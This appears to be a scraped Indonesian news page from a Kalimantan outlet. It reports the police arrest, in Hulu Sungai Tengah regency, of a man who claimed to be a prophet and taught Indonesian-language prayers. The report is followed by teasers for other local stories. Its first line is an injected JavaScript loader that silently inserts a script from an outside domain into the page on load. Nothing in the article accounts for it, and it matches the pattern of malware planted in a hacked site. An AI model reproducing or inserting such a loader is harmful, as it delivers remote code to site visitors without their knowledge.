(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Warga Desa Kahakan Kecamatan Batu Benawa Kabupaten Hulu Sungai Tengah (HST) digegerkan penangkapan Nasruddin (59), warga Jalan Penas Tani IV Rt 003 / 011 Desa Kahakan Kecamatan Batu Benawa, KabupatenHST. Ia mengaku sebagai ‘nabi’ sekaligus mengajarkan ajaran sesat diluar syariat Islam.
Dalam konferensi pers pengungkapan kasus tindak pidana penistaan agama yang dipimpin langsung Kapolres HST AKBP Sabana Atmojo, terungkap ajaran yang disebarkan Nasrudin menuntut shalat wajib maupun sunah harus menggunakan bahasa Indonesia. Bukan menggunakan Bahasa Arab. “Selain itu Lafazd dua kalimat Syahadat juga turut diubah atas keinginan pelaku,” kata Kapolres.
Di depan rekan rekan wartawan media, AKBP Sabana juga mengatakan bahwa ilmu dari Kitab hikmah dan rahasia dari kitab Allah, semua bacaan sholat dari awal hingga akhir memakai bahasa Indonesia. “Sekarang tidak perlu di pakai lagi, karena Nabi Muhammad SAW sudah meninggal dunia. Begitu yang diajarkan pelaku,” lanjut Kapolres.
Sementara untuk hari kegiatan pengajian yang dilaksanakan Nasruddin dan para jemaahnya dilakukan pada hari Senin, Jumat, dan Sabtu.
Kapolres mengatakan sebelum Nasrudin diamankan oleh kepolisian, permasalahan tersebut telah dibawa dan ditangani dalam beberapa kali Rapat PAKEM (Pengawasan Terhadap Aliran Kepercayaan Dan Keagamaan) Kabupaten HST dengan menghadirkan tersangka. Hingga disimpulkan, bahwa ajaran Nasruddin adalah aliran sesat. Bersamaan dengan itu, juga dikeluarkan Surat Rekomendasi kepada Bupati tertanggal 18 Oktober 2019 agar mengeluarkan SK Pelarangan ajaran Nasruddin.
Hingga akhirnya, Senin (2/12) pukul 10.00 wita dilaksanakan pemeriksaan terhadap Nasrudin beserta para pengikutnya dan didapat alat bukti berupa surat lembaran yang diakui sebagai Kitab Al – Furqon berbahasa Indonesia sebagai pegangan ajarannya.
Selanjutnya, penyidik melakukan Gelar Perkara dan menetapkan NS sebagai tersangka dan melakukan penangkapan serta penahanan. Dari penggeledahan di rumah dan pondok tempat menyebarkan ajarannya, petugas dari Polres HST mengamankan barang bukti berupa 1 buah laptop merk Toshiba warna hitam lengkap dengan chagernya, 1 buah mesin laminating merk Origin Or-330, 1 buah printer merk Pixma ip 1980 warna hitam, dan 25 lembar kertas yang berlaminating yang disebut Al – Furqan.
Dalam Konferensi pers ini, Kapolres HST AKBP Sabana Atmojo, S.I.K, M.H. menghimbau kepada masyarakat agar tidak terpancing dengan isu isu yang tidak benar dan percayakan proses hukum kepada Kepolisian. “Apabila ada temuan baru yang berkaitan dengan hal ini akan kami kabarkan kembali. Sekali lagi, serahkan semuanya kepada pihak berwajib untuk diproses sesuai dengan hukum yang berlaku,†tutup AKBP Sabana Atmojo. (polres HST)
KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More
KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More
This website uses cookies.